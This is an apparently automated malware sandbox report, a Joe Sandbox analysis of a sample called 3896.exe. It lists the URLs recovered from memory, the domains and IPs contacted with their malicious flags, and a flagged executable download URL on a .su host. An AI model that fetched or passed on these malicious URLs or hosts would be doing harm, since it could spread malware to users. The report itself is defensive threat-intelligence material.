http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-restoration/	0%	Avira URL Cloud	safe
https://www.aevga.com/	0%	Avira URL Cloud	safe
http://www.lagencefrancaise.com	0%	Avira URL Cloud	safe
https://www.pcgrate.com/?s=	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/stencil/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=683	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=685	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=686	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=684	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=687	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7	0%	Avira URL Cloud	safe
https://www.pcgrate.com/feed/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.css?ver=9	0%	Avira URL Cloud	safe
https://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://gholographic.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/blog/	0%	Avira URL Cloud	safe
https://tickets.suresupport.com/faq/article-1596/en	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/202106301820427029.jpg	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F&format=xm	0%	Avira URL Cloud	safe
http://www.winhui.cn/template/default/img/fixedimg4.png	0%	Avira URL Cloud	safe
http://myropcb.com/login/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcba-services/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=8	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5	0%	Avira URL Cloud	safe
https://www.fcwcvt.org/	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/our-facilities/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/media.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.tvtools.fi	104.21.88.198	true	false	unknown
www.fcwcvt.org	188.114.97.3	true	false	unknown
www.stnic.co.uk	77.68.50.105	true	false	unknown
www.jacomfg.com	96.127.180.42	true	false	unknown
waldi.pl	46.242.238.60	true	false	unknown
maktraxx.com	72.44.93.236	true	false	unknown
evcpa.com	192.124.249.10	true	false	unknown
www.photo4b.com	195.78.66.50	true	false	unknown
www.cel-cpa.com	104.196.26.65	true	false	unknown
www.jenco.co.uk	172.67.208.67	true	false	unknown
www.credo.edu.pl	62.122.190.121	true	false	unknown
www.vexcom.com	104.21.55.224	true	false	unknown
hummer.hu	185.80.51.179	true	false	unknown
synetik.net	193.166.255.171	true	false	unknown
www.mobilnic.net	154.203.14.100	true	false	unknown
www.pupi.cz	103.224.182.241	true	false	unknown
hibu34.inregion.waas.oci.oraclecloud.net	147.154.0.23	true	false	unknown
www.c9dd.com	188.166.152.188	true	false	unknown
aevga.com	108.167.164.216	true	false	unknown
www.ora-ito.com	213.186.33.40	true	false	unknown
www.holleman.us	51.79.51.72	true	false	unknown
ora.ecnet.jp	60.43.154.138	true	false	high
www.edimart.hu	81.2.194.241	true	false	unknown
beg.com.ve	190.114.9.88	true	true	unknown
www.wifi4all.nl	188.114.96.3	true	false	unknown
www.wnsavoy.com	96.91.204.114	true	false	unknown
www.dayvo.com	188.114.96.3	true	false	unknown
www.olras.com	80.93.82.33	true	false	unknown
www.jchysk.com	208.97.178.138	true	false	unknown
www.stajum.com	103.3.1.161	true	false	unknown
ghs.googlehosted.com	142.250.203.115	true	false	unknown
hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	54.161.222.85	true	false	high
quadlock.com	70.39.251.249	true	false	unknown
abart.pl	89.161.163.246	true	false	unknown
www.myropcb.com	74.208.215.199	true	false	unknown
td-ccm-168-233.wixdns.net	34.117.168.233	true	false	unknown
crcsi.org	165.227.252.190	true	false	unknown
perficut.at	175.126.109.15	true	true	unknown
www.usadig.com	198.100.146.220	true	false	unknown
www.abdg.com	192.252.154.18	true	false	unknown
www.snugpak.com	104.21.73.182	true	false	high
xaicom.es	188.165.133.163	true	false	unknown
shops.myshopify.com	23.227.38.74	true	false	unknown
h167471.srv11.test-hf.su	91.227.16.11	true	true	unknown
www.gpthink.com	39.99.233.155	true	false	unknown
www.speelhal.net	217.19.237.54	true	false	unknown
pwd.org	208.109.214.162	true	false	unknown
hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	3.18.7.81	true	false	high
www.vazir.se	206.191.152.37	true	false	unknown
www.naoi-a.com	202.254.236.40	true	false	unknown
www.yoruksut.com	93.187.206.66	true	false	unknown
www.t-tre.com	135.181.73.98	true	false	unknown
hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com	52.71.57.184	true	false	high
www.pr-park.com	118.27.125.181	true	false	unknown
studyrussian.com	80.74.154.6	true	false	unknown
www.otena.com	3.64.163.50	true	false	unknown
www.fe-bauer.de	3.65.101.129	true	false	unknown
item-pr.com	213.186.33.17	true	false	unknown
www.valdal.com	172.67.73.176	true	false	unknown
www.fink.com	69.163.218.51	true	false	unknown
dgmna.com	192.124.249.20	true	false	unknown
fnw.us	137.118.26.67	true	false	unknown
www.rs-ag.com	188.114.97.3	true	false	unknown
www.mqs.com.br.cdn.gocache.net	170.82.174.30	true	false	unknown
www.nelipak.nl	82.201.61.230	true	false	unknown
www.findbc.com	13.248.216.40	true	false	unknown
www.pcgrate.com	104.21.66.46	true	false	unknown
d2kt7vovxa5e81.cloudfront.net	108.156.2.92	true	false	high
baijaku.com	59.106.19.204	true	false	unknown
www.elpro.si	104.26.15.53	true	false	unknown
nunomira.com	192.241.158.94	true	false	unknown
sjbs.org	162.214.120.26	true	false	unknown
www.dgmna.com	unknown	unknown	true	unknown
www.owsports.ca	unknown	unknown	true	unknown
www.pdqhomes.com	unknown	unknown	true	unknown
www.alteor.cl	unknown	unknown	true	unknown
www.iamdirt.com	unknown	unknown	true	unknown
www.transsib.com	unknown	unknown	true	unknown
www.netcr.com	unknown	unknown	true	unknown
www.petsfan.com	unknown	unknown	true	unknown
www.ora.ecnet.jp	unknown	unknown	false	high
www.maktraxx.com	unknown	unknown	true	unknown
www.sjbs.org	unknown	unknown	true	unknown
www.fnw.us	unknown	unknown	true	unknown
www.synetik.net	unknown	unknown	true	unknown
www.aevga.com	unknown	unknown	true	unknown
www.medisa.info	unknown	unknown	true	unknown
www.koz1.net	unknown	unknown	true	unknown
www.nqks.com	unknown	unknown	true	unknown
www.pwd.org	unknown	unknown	true	unknown
www.xaicom.es	unknown	unknown	true	unknown
www.lrsuk.com	unknown	unknown	true	unknown
www.baijaku.com	unknown	unknown	true	unknown
www.wkhk.net	unknown	unknown	true	unknown
www.quadlock.com	unknown	unknown	true	unknown
www.nunomira.com	unknown	unknown	true	unknown
www.crcsi.org	unknown	unknown	true	unknown
www.udesign.biz	unknown	unknown	true	unknown
www.evcpa.com	unknown	unknown	true	unknown
www.depalo.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://h167471.srv11.test-hf.su/64.exe	true	Avira URL Cloud: malware	unknown
http://rutobacco.ru/tmp/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mobilnic.net/article/article.php?id=71	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/article/article.php?id=72	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/framePCB/images/register1.gif	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/article/article.php?id=70	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ogp.me/ns#	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mobilnic.net/article/show_article.php?id=1879	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/xmlrpc.php?rsd	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/post-type-dynamic.css?ver=899328ee298e	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winhui.cn/template/default/img/fixedimg1.png	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/online-quote/stencil-quote/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mobilnic.net/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/download/DownloadApk.php	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?today	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.3.1	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/framePCB/images/login1.gif	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/framePCB/js/jquery-ui.min.js	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#webpage	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yoruksut.com/q6IWK1q4JFv4rNa1j1w0JQJD	3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/online-quote/bom/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/awards-certificates/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/article/show_article.php?id=1869	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fnw.ush	3896.exe, 0000000C.00000002.592527092.000000000396B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/above-the-fold.min.js?ver=9.12.0	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201907271754073236.jpg	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fnw.us	3896.exe, 0000000C.00000002.592527092.000000000396B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F&format=xml	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/#website	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcb-capabilities/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.js?ver=9.	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pwd.org/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=62	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=61	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-slide.min.js?ver=1.12.1	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=60	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/comments/feed/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-admin/admin-ajax.php	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-table.css?ver=2	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/toggle-switch.css?ver=3.1.	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=25	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/css/somdn-style.css?ve	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/js/add-to-cart.js?ver=3.1.7	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yoruksut.com/	3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.593397454.0000000007760000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/preloaded-elements-handlers.min.js?	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/special-offer-specifications/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/20190820152543750.jpg	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://schema.org	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.pcgrate.com/?s=	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.aevga.com/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.lagencefrancaise.com	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcb-restoration/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false		high
http://gmpg.org/xfn/11	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/wp-json/wp/v2/pages/28	3896.exe, 0000000C.00000002.593397454.0000000007744000.00000004.00000020.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/stencil/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=683	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=684	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=685	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=686	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=687	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/feed/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gholographic.com/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.css?ver=9	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ora-ito.com/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tickets.suresupport.com/faq/article-1596/en	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/blog/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/202106301820427029.jpg	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myropcb.com/login/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winhui.cn/template/default/img/fixedimg4.png	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F&format=xm	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=8	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcba-services/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.fcwcvt.org/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/media.css?ver=899328ee298e	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/our-facilities/	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js	3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
175.126.109.15	perficut.at	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
95.158.162.200	unknown	Bulgaria	44247	VIDEOSATBG	true
190.114.9.88	beg.com.ve	Panama	8100	ASN-QUADRANET-GLOBALUS	true
123.140.161.243	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
211.104.254.139	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	true
187.245.185.123	unknown	Mexico	13999	MegaCableSAdeCVMX	true
86.122.83.142	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	true
187.212.182.57	unknown	Mexico	8151	UninetSAdeCVMX	true
23.106.124.133	unknown	Singapore	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	true
91.227.16.11	h167471.srv11.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	true
58.235.189.192	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	809557
Start date and time:	2023-02-16 09:59:37 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
